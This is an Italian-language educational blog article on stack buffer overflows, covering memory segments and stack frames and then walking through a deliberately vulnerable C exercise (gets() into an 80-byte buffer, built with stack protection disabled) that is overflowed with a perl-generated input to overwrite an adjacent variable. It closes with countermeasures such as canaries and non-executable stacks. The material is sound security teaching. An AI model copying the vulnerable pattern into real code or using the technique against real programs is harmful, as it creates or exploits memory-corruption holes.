Introduzione al Buffer Overflow

Tempo di lettura: 9 minuti

La maggior parte degli Worm utilizzati per infettare i dispositivi sfruttano una particolare e ormai ben nota vulnerabilità, il cosidetto buffer overflow. Questo attacco, scoperto nel 1972, venne utilizzato anche dal primo worm (Morris Worm), il quale penetro in più di 6.000 dispositivi connessi ad internet (quasi il 5% all’epoca).

Sebbene sia una vulnerabilià nota da tempo, non è mai stato possibile risolverla ma solo aggirarla, poiché, essendo presente in linguaggi di programmazione che non includono funzionalità di tipo type-safety o memory-safety (come il C), se il programmatore non effettua determinati e specifici controlli, il programma potrebbe esserne affetto.

La definizione corretta di un buffer overflow viene indicata generalmente come:

Un buffer overflow avviene quando si assegnano più dati rispetto a quanti ne possano essere inseriti all’interno di un buffer. Di conseguenza può essere sovrascritto il codice presente all’indirizzo di memoria adiacente al buffer, causando crash o accessi non autorizzati ad altri indirizzi di memoria.

Questo significa che qualsiasi programma che accetti input dall’utente potrebbe essere affetto da questo tipo di vulnerabilità, e proprio per questo è uno tra gli attacchi più devastanti e pericolosi.

Alcune delle conseguenze di un attacco di questo tipo possono essere:

  • Corruzione di altri dati del programma, essenziali per il suo funzionamento;
  • Corruzione della struttura del programma, con conseguente crash (ad esempio, classico segmentation fault in un programma C);
  • Spegnimento del computer, nel caso il programma vulnerabile facesse parte del sistema operativo;
  • Poter eseguire codice direttamente dall’input del programma e prendere possesso del dispositivo.

Funzionamento basilare della memoria

Quando un programma viene compilato e poi avviato, viene diviso in segmenti, cioè un insieme di indirizzi virtuali contigui, tra cui codice e dati, inseriti in memoria virtuale.

Organizzazione della memoria
Organizzazione della memoria

Il segmento testo contiene il codice del programma e le costanti. Non è vulnerabile all’attacco di buffer overflow poichè non è possibile scrivere al suo interno, causerebbe solamente un errore di memoria e la chiusura del programma. L’area dati salva invece le variabili globali inizializzate, mentre il segmento bss contiene le variabili globali non inizializzate.

Nello heap avviene l’allocazione dinamica dei dati, e può incrementare la sua grandezza (solitamente) verso l’alto. Lo stack contiene lo stack del programma, e viene utilizzato, ad esempio, quando si effettua una chiamata ad una funzione, o per salvare le variabili locali.

Funzionamento dello stack

Lo stack contiene quindi i parametri attuali della funzione, gli indirizzi di ritorno e le variabili locali, utilizzate come buffer.

Come si nota dalla prima immagine, lo stack ha una posizione fissata e cresce verso il basso. In esso sono possibili due operazioni:

  1. push: vengono inseriti dati in cima allo stack;
  2. pop: vengono rimossi i dati dalla cima dello stack.

In un semplice programma, contenente un main e una funzione f(), lo stack è definito in questo modo:

Stack frame
Stack frame

Nel caso questi concetti fossere del tutto nuovi per il lettore, consiglio di partire dalla Gestione della Memoria.

Per conoscere la grandezza e la posizione di un eseguibile, esiste il comando size in Linux, il quale permette di conoscere anche gli indirizzi in cui sono posizionati.

mrtouch@mrtouch:~/Desktop/Buff Overflow/Stack$ size -A stack1 -x
stack1  :
section               size       addr
.interp               0x1c   0x400238
.note.ABI-tag         0x20   0x400254
.note.gnu.build-id    0x24   0x400274
.gnu.hash             0x1c   0x400298
.dynsym               0xc0   0x4002b8
.dynstr               0x58   0x400378
.gnu.version          0x10   0x4003d0
.gnu.version_r        0x20   0x4003e0
.rela.dyn             0x18   0x400400
.rela.plt             0xa8   0x400418
.init                 0x1a   0x4004c0
.plt                  0x80   0x4004e0
.text                0x242   0x400560
.fini                  0x9   0x4007a4
.rodata              0x108   0x4007b0
.eh_frame_hdr         0x34   0x4008b8
.eh_frame             0xf4   0x4008f0
.init_array            0x8   0x600e10
.fini_array            0x8   0x600e18
.jcr                   0x8   0x600e20
.dynamic             0x1d0   0x600e28
.got                   0x8   0x600ff8
.got.plt              0x50   0x601000
.data                 0x10   0x601050
.bss                   0x8   0x601060
.comment              0x2b        0x0
.debug_aranges        0x30        0x0
.debug_info           0xdb        0x0
.debug_abbrev         0x9c        0x0
.debug_line           0x5a        0x0
.debug_str            0xec        0x0
Total                0xd09

Buffer Overflow

L’attacco quindi prevede iniezione di codice opportunamente codificato in memoria, al fine di eccedere la dimensione del buffer e sovrascrivere indirizzi di memoria limitrofi.

Attacco Buffer Overflow
Attacco Buffer Overflow

Nei sistemi Unix, il principale tipo di codice utilizzato in questi attacchi viene detto Shellcode, in quanto si cerca di ottenere la shell inserendo uno specifico payload.

Esempio di attacco

Il seguente codice è vulnerabilie all’attacco

/* specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
    int cookie;
    char buf[80];

    printf("\n");
    printf("buf punta all'indirizzo %p e contiene \'%s\'\n",buf,buf);
    printf("cookie punta all'indirizzo %p e contiene %d\n",&cookie, cookie);
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);

    printf("\nInserisci contenuto buffer:");
    gets(buf);
    printf("\nLunghezza buffer: %d\n",strlen(buf));

    printf("\nbuf all'indirizzo %p e contiene \'%s\'\n", buf, buf);
        printf("cookie all'indirizzo %p e contiene %p\n\n",&cookie, cookie);
    if (cookie == 0x41424344)
        printf("you win!\n\n");
}

Quando avviene la chiamata alla funzione gets, non viene infatti eseguito nessun controllo e possiamo inserire quanti dati vogliamo. I printf li ho inseriti solo per far capire cosa avviene a livello di indirizzi. Per compilare questo programma ho dovuto utilizzare l’opzione -fno-stack-protector in quanto il computer bloccava l’attacco, identificando una scrittura non prevista nello stack. Anche compilando, mi avvisa che la chiamata gets è pericolosa e non dovrebbe essere utilizzata.

Esecuzione normale del programma
Esecuzione normale del programma

Come si può notare, dopo che ho inserito la parola Ciao, l’array (buf) viene riempita da essa, mentre l’intero non contiene nulla, visto che non c’è nessuna richiesta di inserimento.

Provo ora ad inserire più caratteri rispetto a quanti ce ne possono stare nel buffer. Per stampare tanti caratteri mi avvalgo di perl, il quale offre semplici comandi per eseguire questo tipo di istruzioni.

perl -e "print 'A'x92"




mrtouch@mrtouch:~/Desktop/Buff Overflow/Stack$ ./stack1
buf punta all'indirizzo 0x7ffc7e3ccbe0 e contiene '�1��#'
cookie punta all'indirizzo 0x7ffc7e3ccc3c e contiene 0
buf: 7e3ccbe0 cookie: 7e3ccc3c

Inserisci contenuto buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA123

Lunghezza buffer: 95

buf all'indirizzo 0x7ffc7e3ccbe0 e contiene 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA123'
cookie all'indirizzo 0x7ffc7e3ccc3c e contiene 0x333231

L’intero ora contiene i caratteri 321 (perchè il computer è in little endian) scritti in esadecimale

mrtouch@mrtouch:~/Desktop/Buff Overflow/Stack$ echo -e '\x33\x32\x31' 
321

Visto che l’esercizio richiedeva di stampare i caratteri 0x41424344 (convertita in decimale ABCD) li inserisco nel buffer (al contrario sempre per via del little endian)

Buffer Overlow nel programma
Buffer Overlow nel programma

Alcune contromisure

Con il passare degli anni, molti ricercatori hanno provato a cercare una soluzione, ma non si è mai raggiunta una conclusione definitiva al problema. Chiaramente sono stati inseriti altri controlli di base:

  1. Alcune architetture Intel utilizzano un registro separato per il return address, detto Secure Return Address Stack. Se esso viene sovrascritto, prima del ritorno dell’istruzione viene controllato e rimpiazzato se diverso dal valore di controllo;
  2. Stack non eseguibile: in tal modo vengono bloccati a monte gli shellcode inseriti dagli attaccanti, e non possono essere eseguiti;
  3. Funzioni sicure: funzioni come _strcpy, sprintf _o gets sono considerate insicure. Bisogna evitare di utilizzarle, e sfruttare invece _strncpy, snprintf o fgets;
  4. **Canarini:**viene inserito un valore casuale (detto canarino, appunto) subiro prima del return address. Il programma prima di tornare controlla che il canarino abbia ancora lo stesso valore. Se avviene un buffer overflow, il canarino funge da allarme e il programma non viene eseguito;
  5. e altri ancora.
Canarino in azione
Canarino in azione

Conclusioni

L’esempio è ovviamente uno dei più semplici che ci sia, ma è sicuramente un ottimo modo per iniziare. Per chi volesse iniziare autonomamente, sono gli esercizi di Gera. Probabilmente nei prossimi articoli pubblicherò alcune soluzioni. Altri esercizi si possono trovare su questa pagina, mentre uno dei libri più completi per affrontare questo argomento è The Art of Exploitation.